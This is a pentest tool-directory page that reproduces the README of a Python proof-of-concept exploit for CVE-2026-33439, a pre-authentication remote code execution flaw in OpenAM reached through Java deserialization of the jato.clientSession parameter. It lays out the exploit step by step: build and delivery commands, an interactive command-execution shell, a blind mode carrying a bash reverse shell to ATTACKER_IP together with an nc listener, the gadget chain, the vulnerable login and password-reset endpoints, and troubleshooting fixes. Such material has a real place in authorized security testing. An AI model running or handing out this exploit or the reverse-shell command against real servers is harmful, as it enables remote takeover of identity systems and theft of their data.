Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33439-PoC — Python PoC exploiting CVE-2026-33439, a pre-auth RCE in OpenAM via Java deserialization of the jato.clientSession parameter, with interactive and blind shell modes. | Kitploit
Tools/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubjonaschen0103/cve-2026-33439-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2026-33439-PoC

Python PoC exploiting CVE-2026-33439, a pre-auth RCE in OpenAM via Java deserialization of the jato.clientSession parameter, with interactive and blind shell modes.

View Repository
4h 48m agoNot yet reviewed
Share

CVE-2026-33439 — OpenAM Pre-Auth RCE

Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM <= 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter (CVSS 9.8).

For authorized security testing only.

Quick Start

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Requirements

  • Python 3.10+ (stdlib only, no pip install)
  • JDK 21 (for build.py — must match the target server's JVM version; JDK 25 produces incompatible serialized objects)

Two Modes

Interactive Mode (default) — output in HTTP response

The EvilTranslet reads the cmd HTTP header from the request, executes it, and writes stdout directly to the HTTP response. No listener needed.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Blind Mode — for reverse shells / OOB

The command is baked into the EvilTranslet bytecode. No output is returned; use a listener (nc, etc.) to catch callbacks.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

All Options

build.py

FlagDescription
(no flags)Build interactive payload (reads cmd header at runtime)
--command "CMD"Build blind payload with CMD baked into bytecode
--jars DIRUse local JARs directory instead of downloading (default: ./libs)
--download-onlyOnly download JARs, don't compile

exploit.py

FlagDescription
--url URLTarget URL (required) — full endpoint or base URL with --probe/--all
--shellInteractive pseudo-shell (interactive mode)
--probeAuto-detect vulnerable endpoint from base URL
--allDeliver payload to ALL JATO endpoints (blind mode)
--method GET|POSTHTTP delivery method (default: GET)
--proxy URLHTTP proxy (e.g. http://127.0.0.1:8080 for Burp)
--timeout SECSRequest timeout (default: 15)
--verify-tlsEnable TLS certificate verification
--debugShow request/response details

Payload Transparency

All source code is in the repo — no opaque blobs. The Java sources are embedded in build.py as readable string constants. After building, verify the output:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Gadget Chain

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (interactive mode)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — get HTTP request/response via webapp classloader
  2. request.getHeader("cmd") — read the command
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — execute
  4. response.reset() — clear any prior JSP output
  5. Write stdout to response as text/plain, then close the output stream

EvilTranslet (blind mode)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forget

Vulnerable Endpoints

Any JATO ViewBean endpoint rendering <jato:form> tags, accessible pre-auth:

EndpointNotes
/openam/ui/PWResetUserValidationPassword reset (most reliable)
/openam/ui/PWResetQuestionPassword reset security questions
/openam/ui/LoginLogin page

Troubleshooting

SymptomCauseFix
HTML page returned instead of command outputJSP overwrites responseUse --shell with interactive payload; or switch to blind mode
Deserialization doesn't triggerJDK version mismatchRebuild with JDK 21: export JAVA_HOME=/path/to/jdk-21
TLS handshake timeoutServer requires SNI hostnameAdd target to /etc/hosts and use hostname, not IP
javac not foundJDK not installedapt install openjdk-21-jdk

References

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

License

MIT

Download Tool